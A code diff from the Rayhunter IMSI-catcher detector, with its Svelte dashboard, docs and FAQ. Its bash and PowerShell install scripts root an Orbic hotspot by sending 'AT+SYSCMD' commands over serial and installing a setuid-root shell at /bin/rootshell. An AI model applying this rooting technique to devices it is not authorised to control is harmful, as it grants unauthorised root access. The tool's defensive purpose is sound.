let finished = entry.analysis_status === AnalysisStatus.Finished;
let report_available = entry.analysis_report !== undefined;
return finished && report_available;
})
let button_class = $derived(ready ? "text-blue-600 underline" : '');
</script>
<button class={button_class} disabled={!ready} {onclick}>
{summary}
</button>
<style>
</style>
@@ -0,0 +1,84 @@
<script lang="ts">
import { AnalysisStatus } from "$lib/analysisManager.svelte";
import { EventType, type AnalyzerMetadata, type ReportMetadata, type AnalysisRow, type AnalysisReport } from "$lib/analysis.svelte";
import type { ManifestEntry } from "$lib/manifest.svelte";
let { report }: {
report: AnalysisReport,
} = $props();
const date_formatter = new Intl.DateTimeFormat(undefined, {
timeStyle: "long",
dateStyle: "short",
});
const skipped_messages: Map<string, number> = $derived.by(() => {
let map = new Map();
for (const row of report.rows) {
for (const message of row.skipped_message_reasons) {
let count = map.get(message);
if (count === undefined) {
count = 0;
}
map.set(message, count + 1);
}
}
return map;
});
</script>
<p class="text-lg underline">Warnings and Informational Logs</p>
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
<p>Nothing to show!</p>
{:else}
<table class="table-auto text-left border">
<thead class="p-2">
<tr class="bg-gray-300">
<th scope="col">Timestamp</th>
<th scope="col">Warning</th>
<th scope="col">Severity</th>
</tr>
</thead>
<tbody>
{#each report.rows as row, row_idx}
{#each row.analysis as analysis}
{@const parsed_date = new Date(analysis.timestamp)}
{#each analysis.events.filter(e => e !== null) as event}
<tr class="even:bg-gray-200 border-b">
{#if event.type === EventType.Warning}
{@const severity = ['Low', 'Medium', 'High'][event.severity]}
{@const severity_class = ['bg-red-200', 'bg-red-400', 'bg-red-600'][event.severity]}
<th class="p-2">{date_formatter.format(parsed_date)}</th>
<td class="p-2">{event.message}</td>
<td class="p-2 {severity_class}">{severity}</td>
{:else if event.type === EventType.Informational}
<th class="p-2">{date_formatter.format(parsed_date)}</th>
<td class="p-2">{event.message}</td>
<td class="p-2">Info</td>
{/if}
</tr>
{/each}
{/each}
{/each}
</tbody>
</table>
{/if}
{#if report.statistics.num_skipped_packets > 0}
<p class="text-lg underline">Unparsed Messages</p>
<p>These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a problem.</p>
<table class="table-auto text-left border">
<thead class="p-2">
<tr class="bg-gray-300">
<th scope="col"># of messages affected</th>
<th scope="col">Reason/Error</th>
</tr>
</thead>
<tbody>
{#each skipped_messages.entries() as [message, count]}
<tr class="even:bg-gray-200 border-b">
<td>{count}</td>
<td>{message}</td>
</tr>
{/each}
</tbody>
</table>
{/if}
@@ -0,0 +1,44 @@
<script lang="ts">
import { AnalysisStatus } from "$lib/analysisManager.svelte";
import { EventType, type AnalyzerMetadata, type ReportMetadata, type AnalysisRow } from "$lib/analysis.svelte";
import type { ManifestEntry } from "$lib/manifest.svelte";
import AnalysisTable from "./AnalysisTable.svelte";
let { entry }: {
entry: ManifestEntry,
} = $props();
const date_formatter = new Intl.DateTimeFormat(undefined, {
timeStyle: "long",
dateStyle: "short",
});
</script>
<div class="container max-h-96 overflow-auto">
{#if entry.analysis_report === undefined}
<p>Report unavailable, try refreshing.</p>
{:else if typeof(entry.analysis_report) === 'string'}
<p>Error getting analysis report: {entry.analysis_report}</p>
{:else}
{@const metadata: ReportMetadata = entry.analysis_report.metadata}
<div class="flex flex-col pl-2 pr-10 w-full">
{#if entry.analysis_report.rows.length > 0}
<AnalysisTable report={entry.analysis_report} />
{:else}
<p>No warnings to display!</p>
{/if}
<div>
<p class="text-lg underline">Metadata</p>
{#if metadata !== undefined && metadata.rayhunter !== undefined}
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
<p class="text-lg underline">Analyzers</p>
{#each metadata.analyzers as analyzer}
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
{/each}
{:else}
<p>N/A (analysis generated by an older version of rayhunter)</p>
{/if}
</div>
</div>
{/if}
</div>
@@ -0,0 +1,23 @@
<script lang="ts">
import { req } from "$lib/utils.svelte";
import DeleteButton from "./DeleteButton.svelte";
import RecordingControls from "./RecordingControls.svelte";
let { server_is_recording }: {
server_is_recording: boolean;
} = $props();
function confirmDelete() {
if (window.confirm(`Permanently delete ALL entries?`)) {
req('POST', '/api/delete-all-recordings')
}
}
</script>
<div class="flex flex-row gap-2">
<RecordingControls {server_is_recording} />
<DeleteButton
text="Delete ALL Entries"
prompt={`Are you sure you want to delete ALL entries?`}
url={`/api/delete-all-recordings`}
/>
</div>
@@ -0,0 +1,28 @@
<script lang="ts">
import { ManifestEntry } from "$lib/manifest.svelte";
import { req } from "$lib/utils.svelte";
let { text, url, prompt }: {
text?: string,
url: string,
prompt: string,
} = $props();
function confirmDelete() {
if (window.confirm(prompt)) {
req('POST', url)
}
}
</script>
<button class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md flex flex-row" onclick={confirmDelete} aria-label="delete">
<p>{text}</p>
<svg
style="width:24px;height:24px"
viewBox="0 0 24 24"
>
<path
fill="white"
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z"
/>
</svg>
</button>
@@ -0,0 +1,16 @@
<script lang="ts">
let { url, text }: {
url: string;
text: string;
} = $props();
function download() {
window.location.href = url;
}
</script>
<button class="text-blue-600 flex flex-row underline" onclick={download}>
{text} <svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z"/>
</svg>
</button>
@@ -0,0 +1,32 @@
<script lang="ts">
import { Manifest, ManifestEntry } from "$lib/manifest.svelte";
import TableRow from "./ManifestTableRow.svelte";
interface Props {
entries: ManifestEntry[];
current_entry: ManifestEntry | undefined;
}
let { entries, current_entry }: Props = $props();
</script>
<table class="table-auto text-left border">
<thead class="p-2">
<tr class="bg-gray-300">
<th class='p-2' scope="col">Name</th>
<th class='p-2' scope="col">Date Started</th>
<th class='p-2' scope="col">Date of Last Message</th>
<th class='p-2' scope="col">Size (bytes)</th>
<th class='p-2' scope="col">PCAP</th>
<th class='p-2' scope="col">QMDL</th>
<th class='p-2' scope="col">Analysis</th>
<th class='p-2' scope="col">Delete</th>
</tr>
</thead>
<tbody>
{#if current_entry !== undefined}
<TableRow entry={current_entry} current={true} i={0} />
{/if}
{#each entries as entry, i}
<TableRow {entry} current={false} {i} />
{/each}
</tbody>
</table>
@@ -0,0 +1,56 @@
<script lang="ts">
import { ManifestEntry } from "$lib/manifest.svelte";
import DownloadLink from '$lib/components/DownloadLink.svelte';
import DeleteButton from "$lib/components/DeleteButton.svelte";
import AnalysisStatus from "./AnalysisStatus.svelte";
import AnalysisView from "./AnalysisView.svelte";
let { entry, current, i }: {
entry: ManifestEntry;
current: boolean;
i: number
} = $props();
// passing `undefined` as the locale uses the browser default
const date_formatter = new Intl.DateTimeFormat(undefined, {
timeStyle: "long",
dateStyle: "short",
});
let alternating_row_color = $derived(i % 2 == 0 ? "bg-white" : "bg-gray-100");
let status_row_color = $derived.by(() => {
const num_warnings = entry.get_num_warnings();
if (num_warnings !== undefined && num_warnings > 0) {
return "bg-red-100";
}
return current ? "bg-green-100" : alternating_row_color
});
let analysis_visible = $state(false);
function toggle_analysis_visibility() {
analysis_visible = !analysis_visible;
}
</script>
<tr class="{status_row_color}">
<th class="font-bold p-2 bg-blue-100" scope='row'>{entry.name}</th>
<td class="p-2">{date_formatter.format(entry.start_time)}</td>
<td class="p-2">{date_formatter.format(entry.last_message_time)}</td>
<td class="p-2">{entry.qmdl_size_bytes}</td>
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} /></td>
{#if current}
<td class="p-2"></td>
{:else}
<td class="p-2">
<DeleteButton
prompt={`Are you sure you want to delete entry ${entry.name}?`}
url={entry.get_delete_url()}
/>
</td>
{/if}
</tr>
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
<td class="font-bold p-2 bg-blue-100"></td>
<td class="border-t border-dashed p-2" colspan="7">
<AnalysisView {entry} />
</td>
</tr>
@@ -0,0 +1,37 @@
<script lang="ts">
import { req } from "$lib/utils.svelte";
let { server_is_recording }: {
server_is_recording: boolean;
} = $props();
let client_set_recording = $state(server_is_recording);
let waiting_for_server = $derived(client_set_recording !== server_is_recording);
async function start_recording() {
await req('POST', '/api/start-recording');
client_set_recording = true;
}
async function stop_recording() {
await req('POST', '/api/stop-recording');
client_set_recording = false;
}
const stop_recording_classes = "bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md";
const start_recording_classes = "bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md";
</script>
<div>
{#if waiting_for_server}
<button class={server_is_recording ? stop_recording_classes : start_recording_classes}>
{server_is_recording ? "Stopping..." : "Starting..."}
</button>
{:else if server_is_recording}
<button class={stop_recording_classes} onclick={stop_recording}>Stop Recording</button>
{:else}
<button class={start_recording_classes} onclick={start_recording}>Start Recording</button>
{/if}
</div>
<style>
</style>
@@ -0,0 +1,37 @@
<script lang="ts">
import { type SystemStats } from "$lib/systemStats";
let { stats }: {
stats: SystemStats;
} = $props();
</script>
<div>
<p class="text-xl">System Stats</p>
<table class="table-auto border">
<tbody>
<tr class="border">
<th class="border">
Rayhunter version
</th>
<td class="border">{stats.runtime_metadata.rayhunter_version}</td>
</tr>
<tr class="border">
<th class="border">
Storage
</th>
<td class="border">
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} / {stats.disk_stats.available_size})
</td>
</tr>
<tr class="border-b">
<th class="border">
Memory (RAM)
</th>
<td class="border">
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
</td>
</tr>
</tbody>
</table>
</div>
+1
View File
@@ -0,0 +1 @@
// place files you want to import through the `$lib` alias in this folder.
+94
View File
@@ -0,0 +1,94 @@
import { get_report, type AnalysisReport } from "./analysis.svelte";
import { AnalysisStatus, type AnalysisManager } from "./analysisManager.svelte";
interface JsonManifest {
entries: JsonManifestEntry[];
current_entry: JsonManifestEntry | null;
}
interface JsonManifestEntry {
name: string;
start_time: string;
last_message_time: string;
qmdl_size_bytes: number;
analysis_size_bytes: number;
}
export class Manifest {
public entries: ManifestEntry[] = [];
public current_entry: ManifestEntry | undefined;
constructor(json: JsonManifest) {
for (let entry of json.entries) {
this.entries.push(new ManifestEntry(entry));
}
if (json.current_entry !== null) {
this.current_entry = new ManifestEntry(json['current_entry']);
}
// sort entries in reverse chronological order
this.entries.reverse();
}
async set_analysis_status(manager: AnalysisManager) {
for (let entry of this.entries) {
entry.analysis_status = manager.status.get(entry.name);
entry.analysis_report = manager.reports.get(entry.name);
}
if (this.current_entry) {
try {
this.current_entry.analysis_report = await get_report(this.current_entry.name);
} catch(err) {
this.current_entry.analysis_report = `Err: failed to get analysis report: ${err}`;
}
// the current entry should always be considered "finished", as its
// analysis report is always available
this.current_entry.analysis_status = AnalysisStatus.Finished;
}
}
}
export class ManifestEntry {
public name = $state("");
public start_time: Date;
public last_message_time: Date | undefined = $state(undefined);
public qmdl_size_bytes = $state(0);
public analysis_size_bytes = $state(0);
public analysis_status: AnalysisStatus | undefined = $state(undefined);
public analysis_report: AnalysisReport | string | undefined = $state(undefined);
constructor(json: JsonManifestEntry) {
this.name = json.name;
this.qmdl_size_bytes = json.qmdl_size_bytes;
this.analysis_size_bytes = json.analysis_size_bytes;
this.start_time = new Date(json.start_time);
if (json.last_message_time !== undefined) {
this.last_message_time = new Date(json.last_message_time);
}
}
get_num_warnings(): number | undefined {
if (this.analysis_report === undefined || typeof(this.analysis_report) === 'string') {
return undefined;
}
return this.analysis_report.statistics.num_warnings;
}
get_pcap_url(): string {
return `/api/pcap/${this.name}`;
}
get_qmdl_url(): string {
return `/api/qmdl/${this.name}`;
}
get_analysis_report_url(): string {
return `/api/analysis-report/${this.name}`;
}
get_delete_url(): string {
return `/api/delete-recording/${this.name}`;
}
}
+33
View File
@@ -0,0 +1,33 @@
import { describe, it, expect } from 'vitest';
import { parse_ndjson } from './ndjson';
describe('parsing newline-deliminated json', () => {
it('parses normal JSON', () => {
const json = JSON.stringify({ foo: 100 });
const result = parse_ndjson(json);
expect(result).toHaveLength(1);
expect(result[0]).toEqual({ foo: 100 });
});
it('parses simple newline-deliminated json', () => {
const json_a = JSON.stringify({ a: 100 });
const json_b = JSON.stringify({ b: 200 });
const result = parse_ndjson(`${json_a}\n${json_b}`);
expect(result).toHaveLength(2);
expect(result[0]).toEqual({ a: 100 });
expect(result[1]).toEqual({ b: 200 });
})
it('parses newline-deliminated json with escaped newlines within', () => {
const json_a = JSON.stringify({ a: 'this one has\n newlines and\nstuff' });
const json_b = JSON.stringify({ b: 200 });
const result = parse_ndjson(`${json_a}\n${json_b}`);
expect(result).toHaveLength(2);
expect(result[0]).toEqual({ a: 'this one has\n newlines and\nstuff' });
expect(result[1]).toEqual({ b: 200 });
})
it('actually errors out on invalid ndjson', () => {
expect(() => parse_ndjson("invalid\njson")).toThrow();
});
});
+27
View File
@@ -0,0 +1,27 @@
export type NewlineDeliminatedJson = any[];
export function parse_ndjson(input: string): NewlineDeliminatedJson {
const lines = input.split('\n');
const result = [];
let current_line = '';
while (lines.length > 0) {
current_line += lines.shift();
if (current_line.length === 0) {
continue;
}
try {
const entry = JSON.parse(current_line);
result.push(entry);
current_line = '';
} catch (e) {
// if this chunk wasn't valid JSON, assume there was an escaped
// newline in the JSON line, so simply continue to the next one.
// however, if we've reached the end of the input, that means we
// were given invalid nd-json
if (lines.length === 0) {
throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`);
}
}
}
return result;
}
+26
View File
@@ -0,0 +1,26 @@
export interface SystemStats {
disk_stats: DiskStats;
memory_stats: MemoryStats;
runtime_metadata: RuntimeMetadata;
}
export interface RuntimeMetadata {
rayhunter_version: string,
system_os: string,
arch: string,
}
export interface DiskStats {
partition: string,
total_size: string,
used_size: string,
available_size: string,
used_percent: string,
mounted_on: string,
}
export interface MemoryStats {
total: string,
used: string,
free: string,
}
+23
View File
@@ -0,0 +1,23 @@
import { Manifest } from "./manifest.svelte";
import type { SystemStats } from "./systemStats";
export async function req(method: string, url: string): Promise<string> {
const response = await fetch(url, {
method: method,
});
const body = await response.text();
if (response.status >= 200 && response.status < 300) {
return body;
} else {
throw new Error(body);
}
}
export async function get_manifest(): Promise<Manifest> {
const manifest_json = JSON.parse(await req('GET', '/api/qmdl-manifest'));
return new Manifest(manifest_json);
}
export async function get_system_stats(): Promise<SystemStats> {
return JSON.parse(await req('GET', '/api/system-stats'));
}
+1
View File
@@ -0,0 +1 @@
export const prerender = true;
+6
View File
@@ -0,0 +1,6 @@
<script lang="ts">
import '../app.css';
let { children } = $props();
</script>
{@render children()}
+42
View File
@@ -0,0 +1,42 @@
<script lang="ts">
import { ManifestEntry } from "$lib/manifest.svelte";
import { get_manifest, get_system_stats } from "$lib/utils.svelte";
import ManifestTable from "$lib/components/ManifestTable.svelte";
import type { SystemStats } from "$lib/systemStats";
import { AnalysisManager } from "$lib/analysisManager.svelte";
import SystemStatsTable from "$lib/components/SystemStatsTable.svelte";
import ControlBar from "$lib/components/ControlBar.svelte";
let manager: AnalysisManager = new AnalysisManager();
let loaded = $state(false);
let recording = $state(false);
let entries: ManifestEntry[] = $state([]);
let current_entry: ManifestEntry | undefined = $state(undefined);
let system_stats: SystemStats | undefined = $state(undefined);
$effect(() => {
const interval = setInterval(async () => {
await manager.update();
let new_manifest = await get_manifest();
await new_manifest.set_analysis_status(manager);
entries = new_manifest.entries;
current_entry = new_manifest.current_entry;
recording = current_entry !== undefined;
system_stats = await get_system_stats();
loaded = true;
}, 1000);
return () => clearInterval(interval);
})
</script>
<h1 class="ml-8 mt-8 text-4xl font-extrabold">Rayhunter Dashboard</h1>
<div class="p-8 flex flex-col gap-2">
{#if loaded}
<ControlBar server_is_recording={recording} />
<SystemStatsTable stats={system_stats!} />
<ManifestTable entries={entries} current_entry={current_entry} />
{:else}
<p>Loading...</p>
{/if}
</div>
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

+4
View File
File diff suppressed because one or more lines are too long
+15
View File
@@ -0,0 +1,15 @@
import adapter from '@sveltejs/adapter-static';
export default {
kit: {
adapter: adapter({
// default options are shown. On some platforms
// these options are set automatically — see below
pages: 'build',
assets: 'build',
fallback: undefined,
precompress: false,
strict: true
})
}
};
+17
View File
@@ -0,0 +1,17 @@
import type { Config } from 'tailwindcss';
export default {
content: ['./src/**/*.{html,js,svelte,ts}'],
theme: {
extend: {
colors: {
'rayhunter-blue': '#4e4eb1',
'rayhunter-dark-blue': '#3f3da0',
'rayhunter-green': '#94ea18'
}
}
},
plugins: []
} as Config;
+19
View File
@@ -0,0 +1,19 @@
{
"extends": "./.svelte-kit/tsconfig.json",
"compilerOptions": {
"allowJs": true,
"checkJs": true,
"esModuleInterop": true,
"forceConsistentCasingInFileNames": true,
"resolveJsonModule": true,
"skipLibCheck": true,
"sourceMap": true,
"strict": true,
"moduleResolution": "bundler"
}
// Path aliases are handled by https://svelte.dev/docs/kit/configuration#alias
// except $lib which is handled by https://svelte.dev/docs/kit/configuration#files
//
// If you want to overwrite includes/excludes, make sure to copy over the relevant includes/excludes
// from the referenced tsconfig.json - TypeScript does not merge them in
}
+30
View File
@@ -0,0 +1,30 @@
import { defineConfig } from "vitest/config";
import { sveltekit } from '@sveltejs/kit/vite';
export default defineConfig({
server: {
proxy: {
'/api': {
target: 'http://localhost:8080',
changeOrigin: true,
secure: false,
configure: (proxy, _options) => {
proxy.on('error', (err, _req, _res) => {
console.log('proxy err:', err);
});
proxy.on('proxyReq', (proxyReq, req, _res) => {
console.log('Sending Request to the Target:', req.method, req.url);
});
proxy.on('proxyRes', (proxyRes, req, _res) => {
console.log('Received Response from the Target:', proxyRes.statusCode, req.url);
});
},
},
},
},
plugins: [sveltekit()],
test: {
include: ['src/**/*.{test,spec}.{js,ts}']
}
});
+5
View File
@@ -0,0 +1,5 @@
[book]
authors = ["The Rayhunter Team"]
language = "en"
src = "doc"
title = "Rayhunter - An IMSI Catcher Catcher"
-1
View File
@@ -1 +0,0 @@
ECHO TODO
-142
View File
@@ -1,142 +0,0 @@
#!/usr/bin/env bash
set -e
force_debug_mode() {
echo "Using adb at $ADB"
echo "Force a switch into the debug mode to enable ADB"
"$SERIAL_PATH" --root
echo -n "adb enabled, waiting for reboot..."
wait_for_adb_shell
echo " it's alive!"
echo -n "waiting for atfwd_daemon to startup..."
wait_for_atfwd_daemon
echo " done!"
}
wait_for_atfwd_daemon() {
until [ -n "$(_adb_shell 'pgrep atfwd_daemon')" ]
do
sleep 1
done
}
wait_for_adb_shell() {
until _adb_shell true 2> /dev/null
do
sleep 1
done
}
setup_rootshell() {
_adb_push rootshell /tmp/
_at_syscmd "cp /tmp/rootshell /bin/rootshell"
sleep 1
_at_syscmd "chown root /bin/rootshell"
sleep 1
_at_syscmd "chmod 4755 /bin/rootshell"
_adb_shell '/bin/rootshell -c id'
echo "we have root!"
}
_adb_push() {
"$ADB" push "$(dirname "$0")/$1" "$2"
}
_adb_shell() {
"$ADB" shell "$1"
}
_at_syscmd() {
"$SERIAL_PATH" "AT+SYSCMD=$1"
}
setup_rayhunter() {
_at_syscmd "mkdir -p /data/rayhunter"
_adb_push config.toml.example /tmp/config.toml
_at_syscmd "mv /tmp/config.toml /data/rayhunter"
_adb_push rayhunter-daemon-orbic/rayhunter-daemon /tmp/rayhunter-daemon
_at_syscmd "mv /tmp/rayhunter-daemon /data/rayhunter"
_adb_push scripts/rayhunter_daemon /tmp/rayhunter_daemon
_at_syscmd "mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon"
_adb_push scripts/misc-daemon /tmp/misc-daemon
_at_syscmd "mv /tmp/misc-daemon /etc/init.d/misc-daemon"
_at_syscmd "chmod 755 /etc/init.d/rayhunter_daemon"
_at_syscmd "chmod 755 /etc/init.d/misc-daemon"
echo -n "waiting for reboot..."
_at_syscmd "shutdown -r -t 1 now"
# first wait for shutdown (it can take ~10s)
until ! _adb_shell true 2> /dev/null
do
sleep 1
done
# now wait for boot to finish
wait_for_adb_shell
echo " done!"
}
test_rayhunter() {
URL="http://localhost:8080"
"$ADB" forward tcp:8080 tcp:8080 > /dev/null
echo -n "checking for rayhunter server..."
SECONDS=0
while (( SECONDS < 30 )); do
if curl -L --fail-with-body "$URL" -o /dev/null -s; then
echo "success!"
echo "you can access rayhunter at $URL"
return
fi
sleep 1
done
echo "timeout reached! failed to reach rayhunter url $URL, something went wrong :("
}
##### ##### #####
##### Main #####
##### ##### #####
if [[ `uname -s` == "Linux" ]]; then
if [[ `uname -m` == "arm64" ]]; then
export SERIAL_PATH="./serial-ubuntu-24-aarch64/serial"
elif [[ `uname -m` == "x86_64" ]]; then
export SERIAL_PATH="./serial-ubuntu-24/serial"
fi
export PLATFORM_TOOLS="platform-tools-latest-linux.zip"
elif [[ `uname -s` == "Darwin" ]]; then
if [[ `uname -m` == "arm64" ]]; then
export SERIAL_PATH="./serial-macos-arm/serial"
elif [[ `uname -m` == "x86_64" ]]; then
export SERIAL_PATH="./serial-macos-intel/serial"
fi
export PLATFORM_TOOLS="platform-tools-latest-darwin.zip"
# if we've already deleted this attribute, xattr errors out
xattr -d com.apple.quarantine "$SERIAL_PATH" || echo
else
echo "This script only supports Linux or macOS"
exit 1
fi
if [ ! -x "$SERIAL_PATH" ]; then
echo "The serial binary cannot be found at $SERIAL_PATH. If you are running this from the git tree please instead run it from the latest release bundle https://github.com/EFForg/rayhunter/releases"
exit 1
fi
if ! command -v adb &> /dev/null; then
if [ ! -d ./platform-tools ] ; then
echo "adb not found, downloading local copy"
curl -O "https://dl.google.com/android/repository/${PLATFORM_TOOLS}"
unzip $PLATFORM_TOOLS
fi
export ADB="./platform-tools/adb"
else
export ADB=`which adb`
fi
force_debug_mode
setup_rootshell
setup_rayhunter
test_rayhunter
+2
View File
@@ -5,6 +5,8 @@ set -e
case "$1" in case "$1" in
start) start)
echo -n "Starting rayhunter: " echo -n "Starting rayhunter: "
# Below line may be replaced by the installer with device-specific startup commands, such as mounting the SD card.
#RAYHUNTER-PRESTART
start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \ start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \
--startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1" --startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1"
echo "done" echo "done"
+17
View File
@@ -0,0 +1,17 @@
# Summary
[Introduction](./introduction.md)
- [Installation](./installation.md)
- [Installing from the latest release](./installing-from-release.md)
- [Installing from the latest release (Windows)](./installing-from-release-windows.md)
- [Installing from source](./installing-from-source.md)
- [Updating Rayhunter](./updating-rayhunter.md)
- [Uninstalling](./uninstalling.md)
- [Using Rayhunter](./using-rayhunter.md)
- [Rayhunter's heuristics](./heuristics.md)
- [How we analyze a capture](./analyzing-a-capture.md)
- [Supported devices](./supported-devices.md)
- [TP-Link M7350](./tplink-m7350.md)
- [Orbic RC400L](./orbic.md)
- [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md)
+3
View File
@@ -0,0 +1,3 @@
# How we analyze a capture
TODO
+20
View File
@@ -0,0 +1,20 @@
# Frequently Asked Questions
### Do I need an active SIM card to use Rayhunter?
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but whether that SIM card has to be currently active for our tests to work is still under investigation. If you want to use the device as a hotspot in addition to a research device an active plan would of course be necessary, however we have not done enough testing yet to know whether an active subscription is required for detection. If you want to test the device with an inactive SIM card, we would certainly be interested in seeing any data you collect, and especially any runs that trigger an alert!
<a name="red"></a>
### Help, Rayhunter's line is red! What should I do?
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area (or put it on airplane mode) and tell your friends to do the same!
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time.
### Should I get a locked or unlocked orbic device? What is the difference?
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
+3
View File
@@ -0,0 +1,3 @@
# Heuristics
TODO
+7
View File
@@ -0,0 +1,7 @@
# Installing Rayhunter
So, you've got one of the [supported devices](./supported-devices.md), and are ready to start catching IMSI catchers. You have two options for installing Rayhunter:
* [installing from a release (recommended)](./installing-from-release.md)
* [installing from a release on Windows](./installing-from-release-windows.md)
* [installing from source](./installing-from-source.md)
+139
View File
@@ -0,0 +1,139 @@
# Installing from the latest release (Windows)
1. Install the [Zadig WinUSB driver](https://zadig.akeo.ie/).
2. Download the latest `release.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases).
3. Unzip `release.zip`.
4. Save the `install.ps1` file below in the same directory as `install.sh`.
5. Run the install script by double clicking on `install.ps1`. A powershell window will launch.
The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device.
# `install.ps1`
```powershell
$global:adb = "./platform-tools-latest-windows/platform-tools/adb.exe"
$global:serial = "./serial-windows-x86_64/serial.exe"
function _adb_push {
$proc = start-process -passthru -wait $global:adb -argumentlist "push", $args[0], $args[1]
if ($proc.exitcode -ne 0) {
write-host "push exited with exit code $($proc.exitcode)"
}
return $proc.exitcode
}
function _adb_shell {
$proc = start-process -passthru -wait $global:adb -argumentlist "shell", $args[0]
if ($proc.exitcode -ne 0) {
write-host "shell exited with exit code $($proc.exitcode)"
}
return $proc.exitcode
}
function _wait_for_adb_shell {
do {
start-sleep -seconds 1
} until ((_adb_shell "cat /etc/ver.conf") -eq 0)
}
function _wait_for_atfwd_daemon {
do {
start-sleep -seconds 1
} until ((_adb_shell "pgrep atfwd_daemon") -eq 0)
}
function force_debug_mode {
write-host "Using adb at $($global:adb)"
write-host "Forcing a switch into debug mode to enable ADB"
&$global:serial "--root" | Out-Host
write-host "adb enabled, waiting for reboot..." -nonewline
_wait_for_adb_shell
write-host " it's alive!"
write-host "waiting for atfwd_daemon to start ..." -nonewline
_wait_for_atfwd_daemon
write-host " done!"
}
function setup_rootshell {
_adb_push "rootshell" "/tmp"
write-host "cp..."
&$global:serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host
start-sleep -seconds 1
write-host "chown..."
&$global:serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host
start-sleep -seconds 1
write-host "chmod..."
&$global:serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
start-sleep -seconds 1
_adb_shell '/bin/rootshell -c id'
write-host "we have root!"
}
function setup_rayhunter {
&$global:serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
_adb_push "config.toml.example" "/tmp/config.toml"
&$global:serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon"
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon"
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon"
&$global:serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
&$global:serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
write-host "waiting for reboot..."
&$global:serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
do {
start-sleep -seconds 1
} until ((_adb_shell "true 2> /dev/null") -ne 0)
_wait_for_adb_shell
write-host "done!"
}
function test_rayhunter {
$URL = "http://localhost:8080"
$fproc = start-process $global:adb -argumentlist "forward", "tcp:8080", "tcp:8080" -wait -passthru
if ($fproc.exitcode -ne 0) {
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($proc.exitcode)"
return
}
write-host "checking for rayhunter server..." -nonewline
$seconds = 0
do {
$resp = invoke-webrequest -uri $URL
if ($resp.statuscode -eq 200) {
write-host "success!"
write-host "you can access rayhunter at $($URL)"
return
}
start-sleep 1
$seconds = $seconds + 1
} until ($seconds -eq 30)
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
}
function get_android_tools {
write-host "adb not found, downloading local copy"
